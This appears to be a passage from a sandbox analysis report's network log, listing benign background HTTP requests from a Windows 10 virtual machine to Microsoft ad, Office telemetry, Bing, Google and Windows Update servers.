Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=51fb7dfa7cd947db9ff3def1f8c6fa3a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598480&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598480&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: 7cz3JHKxI0e7Od7q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205910Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0c2b4eb4a2c944979d68c8318b2a64f4&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-280815&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p=Cache-Control: no-cacheMS-CV: /lue5tXAKkeTwIj4.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205910Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1facd70da1f44701968b5bbbd52e4984&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-338388&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p=Cache-Control: no-cacheMS-CV: /lue5tXAKkeTwIj4.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205910Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=90f55660cfe94147a2138ff7416db9da&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-338387&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p=Cache-Control: no-cacheMS-CV: /lue5tXAKkeTwIj4.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239401775639_1QOWDQVJF3IB2VD8V&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379451728_14XNMF6X4FSK32IPX&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379451727_17498QGLTWDI94GLW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379264246_1WZI9SDGXO2UI868L&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379264247_1V1UB3I9T9AQAMZ40&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=spWa8mssMRPN6Ho&MD=w5aEVEvr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
